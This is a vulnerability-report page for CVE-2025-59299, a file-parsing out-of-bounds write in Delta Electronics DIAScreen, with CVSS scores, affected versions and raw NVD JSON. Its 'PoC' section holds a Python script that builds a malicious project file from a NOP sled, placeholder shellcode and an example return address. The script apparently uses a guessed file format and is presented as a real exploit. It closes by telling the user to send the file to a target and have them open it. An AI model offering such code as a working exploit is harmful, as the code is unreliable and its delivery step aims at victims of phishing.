Security Vulnerability Report
中文
CVE-2025-59299 CVSS 7.8 HIGH

CVE-2025-59299

Published: 2025-10-03 03:15:36
Last Modified: 2025-10-08 16:06:49
Source: 759f5e80-c8e1-4224-bead-956d7b33c98b

Description

Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:* - VULNERABLE
Delta Electronics DIAScreen(具体受影响版本请参考官方安全公告Delta-PCSA-2025-00018)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59299 - Delta Electronics DIAScreen File Parsing Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the vulnerability exploitation technique import struct def generate_malicious_diascreen_file(output_path): """ Generate a malicious DIAScreen project file that triggers an out-of-bounds write vulnerability during file parsing. The vulnerability exists in the file parsing routine of DIAScreen where user-supplied file data is not properly validated before being processed, leading to an out-of-bounds write condition. """ # File header mimicking legitimate DIAScreen project file format header = b'DIASCREEN_PROJECT\x00' header += struct.pack('<I', 0x00010000) # Version field header += struct.pack('<I', 0x00000001) # File type identifier # Malicious payload - oversized data to trigger out-of-bounds write # The parser allocates a fixed-size buffer but reads user-controlled length overflow_size = 0x10000 # 64KB overflow payload # NOP sled + shellcode placeholder (replace with actual shellcode) nop_sled = b'\x90' * 1024 # Return address overwrite (example: targeting typical Windows address) # In a real exploit, this would be replaced with the actual address # to redirect execution to the NOP sled return_address = struct.pack('<I', 0x7C86467B) # Example address # Construct the overflow payload padding = b'A' * 256 # Buffer padding payload = padding + return_address + nop_sled payload += b'\x00' * (overflow_size - len(payload)) # Combine all parts malicious_file = header + struct.pack('<I', overflow_size) + payload with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DIAScreen file generated: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print(f"[+] Overflow payload size: {overflow_size} bytes") print("[!] Send this file to a target user and have them open it with DIAScreen") if __name__ == '__main__': generate_malicious_diascreen_file('malicious.dsp')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59299", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2025-10-03T03:15:35.760", "lastModified": "2025-10-08T16:06:48.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process."}], "metrics": {"cvssMetricV40": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.1", "matchCriteriaId": "0CA2C1C6-9BBF-49CB-ABCC-4BE44356DBFE"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2025-00018_DIAScreen%20File%20Parsing%20Out-Of-Bounds%20Write%20Vulnerability.pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}